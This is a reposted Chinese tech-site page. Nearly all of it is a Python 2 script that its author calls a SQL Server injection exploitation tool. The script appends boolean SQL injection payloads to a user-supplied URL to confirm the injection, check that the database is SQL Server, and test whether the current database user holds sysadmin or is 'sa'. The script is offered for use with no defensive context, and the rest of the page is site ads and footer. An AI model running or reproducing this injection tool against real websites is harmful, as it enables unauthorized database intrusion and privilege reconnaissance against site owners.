Python編寫數(shù)據(jù)庫(kù)SA用戶檢測(cè)方案
來源:易賢網(wǎng) 閱讀:773 次 日期:2014-08-20 14:44:21
溫馨提示:易賢網(wǎng)小編為您整理了“Python編寫數(shù)據(jù)庫(kù)SA用戶檢測(cè)方案”,方便廣大網(wǎng)友查閱!

無聊的時(shí)候,用Python寫的一個(gè)小程序,用有注入點(diǎn)的鏈接,檢測(cè)當(dāng)前數(shù)據(jù)庫(kù)用戶是否為sa,沒什么技術(shù)含量。

# Code by zhaoxiaobu Email: little.bu@hotmail.com

#-*- coding: UTF-8 -*-

from sys import exit

from urllib import urlopen

from string import join,strip

from re import search

def is_sqlable():

sql1="%20and%201=2"

sql2="%20and%201=1"

urlfile1=urlopen(url+sql1)

urlfile2=urlopen(url+sql2)

htmlcodes1=urlfile1.read()

htmlcodes2=urlfile2.read()

if not search(judge,htmlcodes1) and search(judge,htmlcodes2):

print "[信息]恭喜!這個(gè)URL是有注入漏洞的!n"

print "[信息]現(xiàn)在判斷數(shù)據(jù)庫(kù)是否是SQL Server,請(qǐng)耐心等候....."

is_SQLServer()

else:

print "[錯(cuò)誤]你確定這個(gè)URL能用?換個(gè)別的試試吧!n"

def is_SQLServer():

sql = "%20and%20exists%20(select%20*%20from%20sysobjects)"

urlfile=urlopen(url+sql)

htmlcodes=urlfile.read()

if not search(judge,htmlcodes):

print "[錯(cuò)誤]數(shù)據(jù)庫(kù)好像不是SQL Server的!n"

else:

print "[信息]確認(rèn)是SQL Server數(shù)據(jù)庫(kù)!n"

print "[信息]開始檢測(cè)當(dāng)前數(shù)據(jù)庫(kù)用戶權(quán)限,請(qǐng)耐心等待......"

is_sysadmin()

def is_sysadmin():

sql = "%20and%201=(select%20IS_SRVROLEMEMBER('sysadmin'))"

urlfile = urlopen(url+sql)

htmlcodes = urlfile.read()

if not search(judge,htmlcodes):

print "[錯(cuò)誤]當(dāng)前數(shù)據(jù)庫(kù)用戶不具有sysadmin權(quán)限!n"

else:

print "[信息]當(dāng)前數(shù)據(jù)庫(kù)用戶具有sysadmin權(quán)限!n"

print "[信息]檢測(cè)當(dāng)前用戶是不是SA,請(qǐng)耐心等待......"

is_sa()

def is_sa():

sql = "%20and%20'sa'=(select%20System_user)";

urlfile = urlopen(url+sql)

htmlcodes = urlfile.read()

if not search(judge,htmlcodes):

print "[錯(cuò)誤]當(dāng)前數(shù)據(jù)庫(kù)用戶不是SA!n"

else:

print "[信息]當(dāng)前數(shù)據(jù)庫(kù)用戶是SA!n"

print "n########################################################################n"

print " ^o^SQL Server注入利用工具^o^ "

print " Email: little.bu@hotmail.comn"

print "========================================================================";

url = raw_input('[信息]請(qǐng)輸入一個(gè)可能有注入漏洞的鏈接!nURL:')

if url == '':

print "[錯(cuò)誤]提供的URL必須具有 '.asp?xxx=' 這樣的格式"

exit(1)

judge = raw_input("[信息]請(qǐng)?zhí)峁┮粋€(gè)判斷字符串.n判斷字符串:")

if judge == '':

print "[錯(cuò)誤]判斷字符串不能為空!"

exit(1)

is_sqlable()

更多信息請(qǐng)查看IT技術(shù)專欄

更多信息請(qǐng)查看網(wǎng)絡(luò)編程
易賢網(wǎng)手機(jī)網(wǎng)站地址:Python編寫數(shù)據(jù)庫(kù)SA用戶檢測(cè)方案
由于各方面情況的不斷調(diào)整與變化,易賢網(wǎng)提供的所有考試信息和咨詢回復(fù)僅供參考,敬請(qǐng)考生以權(quán)威部門公布的正式信息和咨詢?yōu)闇?zhǔn)!

2025國(guó)考·省考課程試聽報(bào)名

  • 報(bào)班類型
  • 姓名
  • 手機(jī)號(hào)
  • 驗(yàn)證碼
關(guān)于我們 | 聯(lián)系我們 | 人才招聘 | 網(wǎng)站聲明 | 網(wǎng)站幫助 | 非正式的簡(jiǎn)要咨詢 | 簡(jiǎn)要咨詢須知 | 新媒體/短視頻平臺(tái) | 手機(jī)站點(diǎn) | 投訴建議
工業(yè)和信息化部備案號(hào):滇ICP備2023014141號(hào)-1 云南省教育廳備案號(hào):云教ICP備0901021 滇公網(wǎng)安備53010202001879號(hào) 人力資源服務(wù)許可證:(云)人服證字(2023)第0102001523號(hào)
云南網(wǎng)警備案專用圖標(biāo)
聯(lián)系電話:0871-65099533/13759567129 獲取招聘考試信息及咨詢關(guān)注公眾號(hào):hfpxwx
咨詢QQ:1093837350(9:00—18:00)版權(quán)所有:易賢網(wǎng)
云南網(wǎng)警報(bào)警專用圖標(biāo)